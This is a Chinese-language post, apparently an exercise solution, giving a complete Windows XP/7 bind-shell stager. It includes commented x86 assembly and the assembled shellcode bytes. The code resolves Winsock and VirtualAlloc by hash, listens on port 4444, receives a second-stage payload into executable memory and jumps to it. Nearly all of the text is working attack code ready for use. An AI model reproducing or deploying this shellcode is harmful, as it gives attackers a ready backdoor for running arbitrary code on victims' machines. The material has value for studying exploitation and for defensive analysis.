本题只要求写出一个shellcode,实现功能如下:
1. 该shellcode能够在Win xp sp3 、Win7下测试运行;2. 该shellcode能够监听4444端口;
3. 控制端可通过该shellcode的上传其他shellcode(A)到被控端,并执行A;4. 要求写出汇编代码及shellcode,需要有必要的注释;
实现的思路很简单,建立socket,绑定4444端口监听,收到连接后使用VirtualAlloc()函数申请一个可执行的buf,然后把buf作为参数调用recv()函数,接收完毕后jmp到buf执行。
WSAStartup() --> WSASocketA() --> bind() --> listen() --> accept() ↘
VirtualAlloc() --> recv() --> jmp buf
需要的函数上面的流程图里已经有了。直接贴代码吧,拿0day安全那本书里面的shellcode改的
cld
; 各API的hash值
push 0xc7979076 ; recv()
push 0x01971eb1 ; accept()
push 0x4bd39f0c ; listen()
push 0xdda71064 ; bind()
push 0xde78322d ; WSASocketA()
push 0x80b46a3d ; WSAStartup()
push 0x1ede5967 ; VirtualAlloc()
push 0x0c917432 ; LoadLibraryA()
mov esi, esp ; esi指向存放hash值的内存
lea edi, [esi-0x20] ; edi指向存放API地址的内存
; 获取kernel32.dll的基址
xor edx, edx
mov ebx, fs:[edx + 0x30] ; PEB地址
mov ecx, [ebx + 0x0c] ; _PEB_LDR_DATA地址
mov ecx, [ecx + 0x1c] ; 模块链表InInitialzationOrderModuleList的第一个节点
mov ecx, [ecx] ; 第二个节点
mov edx, [ecx + 0x18] ; 第二个节点dll的全名
mov edx, [edx + 0x34] ; 第二个节点全名偏移0x34处
cmp dl, 0x33 ; xp下第二个节点为kernel32.dll
je kernel32 ; win7下为kernelBase.dll,因此要判断一下
mov ecx, [ecx]
kernel32:
mov ebp, [ecx + 0x08] ; ebp = kernel32.dll基址
; 抬高栈顶,防止后面调用函数时覆盖数据
xor edx, edx
mov dh, 0x03 ; 抬高0x300
sub esp, edx
; 压入"ws2_32"
mov dx, 0x3233 ; edx的高8位为0,即字符串结尾的NULL
push edx
push 0x5f327377
push esp
find_lib_functions:
lodsd ; 将hash值复制进eax,同时esi加1
cmp eax, 0x80b46a3d ; 判断是否需要LoadLibraryA("ws2_32.dll")
jne find_functions
xchg eax, ebp ; 保存当前hash值
call [edi-0x08] ; LoadLibraryA
xchg eax, ebp ; 还原hash,同时将ebp更新为ws2_32.dll基址
push edi ; edi指向存放第一个winsock函数地址的内存
find_functions:
pushad ; 保存寄存器
mov eax, [ebp+0x3c] ; PE头
mov ecx, [ebp+eax+0x78] ; 导出表偏移量
add ecx, ebp ; 导出表实际地址
mov ebx, [ecx+0x20] ; 函数名称列表相对于dll基址的偏移量
add ebx, ebp ; 函数名称列表实际地址
xor edi, edi ; 清零edi,它作为函数计数器
next_function_loop:
inc edi
mov esi, [ebx+edi*4] ; 当前函数名字的偏移量
add esi, ebp ; 当前函数名字的实际地址
cdq
hash_loop:
movsx eax, byte ptr [esi] ; 取出当前函数名字的某个字符
cmp al, ah ; 判断是否到名字结尾
jz compare_hash
ror edx, 7 ; 循环右移7位,加上新字符的值
add edx, eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp+0x1c] ; 比较hash值(pushad时存放在栈中)
jnz next_function_loop ; 不相等则跳转,取下一个函数
mov ebx, [ecx+0x24]
add ebx, ebp
mov di, [ebx+2*edi]
mov ebx, [ecx+0x1c] ; 地址表偏移
add ebx, ebp ; 地址表实际地址
add ebp, [ebx+4*edi] ; 函数地址
xchg eax, ebp ; 将函数地址存储到eax中
pop edi ; pushad时,edi最后一个入栈
stosd ; 将函数地址写如[edi],然后edi加1
push edi
popad ; 还原寄存器
cmp eax, 0xc7979076 ; 判断是否取得所有函数地址
jne find_lib_functions
pop esi ; 第一个winsock函数的地址,对应上面的push edi
; 初始化winsock
push esp ; WSADATA,使用栈空间
push 0x02 ; wVersionRequested
lodsd
call eax ; WSAStartup()
; 清零栈空间,当做NULL参数
lea ecx, [eax + 0x30] ; sizeof(STARTUPINFO) = 0x44
mov edi, esp
rep stosd ; 清零栈空间
; 创建socket
inc eax
push eax ; SOCK_STREAM
inc eax
push eax ; AF_INET
lodsd
call eax ; WSASocketA()
xchg ebp, eax ; 保存SOCKET描述符
; bind()函数参数入栈
mov eax, 0x5c11ff02 ; 0x5c11 = 4444端口, 0x02 = AF_INET
xor ah, ah ; 移除eax中的ff
push eax ; 以此作为sockaddr结构体,同时也是namelen参数
push esp ; sockaddr
; 依次调用bind(), listen(), accept()
call_loop:
push ebp ; SOCKET描述符
lodsd
call eax ; 调用函数
test eax, eax ; bind()和listen()返回0,accept()返回新的SOCKET描述符
jz call_loop
xchg eax, ebp ; 保存新的SOCKET描述符
; 调用VirtualAlloc()函数申请可执行的内存空间
xor edx, edx
add dl, 0x40
push edx ; flProtect = 0x40,读,写,执行
xor edx, edx
add dh, 0x10
push edx ; flAlloction Type = 0x1000
mov dh, 0x04
push edx ; dwSize = 0x400,申请0x400字节
xor edx, edx
push edx ; lpAddress = NULL,由系统分配首地址
call [esi-0x18] ; VirtualAlloc()
xchg eax, ebp ; 执行完这一语句,eax = SOCKET描述符,ebp = 申请的内存首地址
xor edx, edx
push edx ; flags = 0
mov dh, 0x04
push edx ; len = 0x400
push ebp ; buf
push eax ; SOCKET
call [esi] ; recv()
jmp ebp ; 接收shellcode后,跳转执行
shellcode:
"\xFC\x68\x76\x90\x97\xC7\x68\xB1\x1E\x97\x01\x68"
"\x0C\x9F\xD3\x4B\x68\x64\x10\xA7\xDD\x68\x2D\x32"
"\x78\xDE\x68\x3D\x6A\xB4\x80\x68\x67\x59\xDE\x1E"
"\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xE0\x33\xD2"
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09"
"\x8B\x51\x18\x8B\x52\x34\x80\xFA\x33\x74\x02\x8B"
"\x09\x8B\x69\x08\x33\xD2\xB6\x03\x2B\xE2\x66\xBA"
"\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xAD\x3D\x3D"
"\x6A\xB4\x80\x75\x06\x95\xFF\x57\xF8\x95\x57\x60"
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20"
"\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F"
"\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46"
"\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03"
"\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C"
"\xBB\x95\x5F\xAB\x57\x61\x3D\x76\x90\x97\xC7\x75"
"\xA8\x5E\x54\x6A\x02\xAD\xFF\xD0\x8D\x48\x30\x8B"
"\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8"
"\x02\xFF\x11\x5C\x32\xE4\x50\x54\x55\xAD\xFF\xD0"
"\x85\xC0\x74\xF8\x95\x33\xD2\x80\xC2\x40\x52\x33"
"\xD2\x80\xC6\x10\x52\xB6\x04\x52\x33\xD2\x52\xFF"
"\x56\xE8\x95\x33\xD2\x52\xB6\x04\x52\x55\x50\xFF"
"\x16\xFF\xE5"